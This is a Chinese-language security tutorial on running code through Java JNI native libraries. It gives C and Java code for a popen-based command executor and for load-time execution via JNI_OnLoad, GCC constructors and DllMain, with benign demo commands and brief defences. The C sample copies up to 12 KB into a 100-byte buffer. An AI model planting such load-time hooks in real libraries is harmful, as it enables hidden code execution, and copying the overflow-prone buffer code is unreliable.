浅谈Java-JNI如何加载动态库时直接执行恶意代码
字数 1120 2025-08-22 12:23:19
Java JNI 动态库加载与恶意代码执行技术详解
一、JNI 基础概念
JNI (Java Native Interface) 是 Java 本地接口,它由三部分组成:
- Java:Java 语言部分
- Native:代表本地环境(Windows/Linux),通常指 C/C++ 实现
- Interface:Java 与 Native 代码之间的通信接口
JNI 允许 Java 代码调用非 Java 代码(主要是 C/C++),实现 Java 与本地代码的交互。
二、利用 JNI 加载动态链接库实现 RCE
基本步骤
- 编写 Java 文件定义 native 方法
- 使用 javac 编译得到 .class 文件
- 使用 javah 处理 .class 文件生成 C 头文件
- 编写命令执行的 C 语言实现
- 将 C 代码编译为动态链接库(.so/.dll)
- Java 调用 System.loadLibrary 加载动态库
详细实现
1. 编写 Java 文件
public class EvilClass {
public static native String execCmd(String cmd);
}
2. 编译 Java 文件
javac EvilClass.java
3. 生成 C 头文件
Java 10 之前:
javah -jni EvilClass
Java 10 及之后:
javac -h . EvilClass.java
生成的头文件 EvilClass.h 内容:
/* DO NOT EDIT THIS FILE - it is machine generated */
#include <jni.h>
/* Header for class EvilClass */
#ifndef _Included_EvilClass
#define _Included_EvilClass
#ifdef __cplusplus
extern "C" {
#endif
/*
* Class: EvilClass
* Method: execCmd
* Signature: (Ljava/lang/String;)Ljava/lang/String;
*/
JNIEXPORT jstring JNICALL Java_EvilClass_execCmd
(JNIEnv *, jclass, jstring);
#ifdef __cplusplus
}
#endif
#endif
4. 编写 C 实现
EvilClass.c 文件:
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
#include "EvilClass.h"
int execmd(const char *cmd, char *result) {
char buffer[1024*12];
FILE *pipe = popen(cmd, "r"); // 打开管道执行命令
if (!pipe) return 0;
while(!feof(pipe)) {
if(fgets(buffer, 128, pipe)) {
strcat(result, buffer);
}
}
pclose(pipe);
return 1;
}
JNIEXPORT jstring JNICALL Java_EvilClass_execCmd(JNIEnv *env, jclass class_object, jstring jstr) {
const char *cstr = (*env)->GetStringUTFChars(env, jstr, NULL);
char result[1024*12] = "";
if(1 == execmd(cstr, result)) {
// 命令执行成功
}
char return_messge[100] = "";
strcat(return_messge, result);
jstring cmdresult = (*env)->NewStringUTF(env, return_messge);
return cmdresult;
}
5. 编译动态链接库
Linux 下编译:
gcc -fPIC -I $JAVA_HOME/include -I $JAVA_HOME/include/linux -shared -o libcmd.so EvilClass.c
Windows 下编译:
gcc -fPIC -I "%JAVA_HOME%\include" -I "%JAVA_HOME%\include\win32" -shared -o libcmd.dll EvilClass.c
6. Java 加载并调用
public class Exp {
public static void main(String[] args) {
System.out.println(System.getProperty("java.library.path"));
System.loadLibrary("libcmd");
EvilClass example = new EvilClass();
String res = example.execCmd("whoami"); // 调用native方法
System.out.println(res);
}
}
三、加载时直接执行恶意代码的三种方法
方法1:利用 JNI_OnLoad
JNI_OnLoad 是 JNI 提供的可选函数,在本地库被加载到 JVM 时自动调用。
C 代码实现:
#include <stdlib.h>
#include <jni.h>
JNIEXPORT jint JNICALL JNI_OnLoad(JavaVM *vm, void *reserved) {
system("calc"); // Windows 下弹出计算器
// system("touch success"); // Linux 下创建文件
return JNI_VERSION_1_8;
}
Java 加载代码:
public class Exp {
static {
System.loadLibrary("libcmd");
}
public static void main(String[] args) {
}
}
方法2:利用 __attribute__((constructor))
GCC/Clang 提供的扩展语法,标记的函数会在动态库加载时自动执行。
C 代码实现:
#include <stdio.h>
#include <stdlib.h>
void __attribute__((constructor)) myInitFunction() {
system("calc");
}
方法3:Windows 下利用 DllMain
DllMain 是 Windows DLL 的入口点函数。
C 代码实现:
#include <Windows.h>
#include <stdlib.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH: // DLL加载时执行
system("echo 'Rce Successfully!'");
break;
case DLL_PROCESS_DETACH: // DLL卸载时执行
break;
case DLL_THREAD_ATTACH: // 线程连接时执行
break;
case DLL_THREAD_DETACH: // 线程断开时执行
break;
}
return TRUE;
}
四、关键注意事项
- JDK 版本匹配:编译动态库时使用的 JDK 版本必须与目标机器一致
- 库搜索路径:
System.loadLibrary()从java.library.path中搜索库System.load()需要完整路径
- 平台差异:
- Linux 使用
.so文件 - Windows 使用
.dll文件
- Linux 使用
- 安全风险:此类技术可被用于恶意目的,需谨慎使用
五、防御措施
- 限制动态库加载权限
- 验证动态库来源和完整性
- 使用安全管理器限制敏感操作
- 避免加载不可信的动态库
通过以上技术细节,可以深入理解 JNI 动态库加载机制及其潜在的安全风险。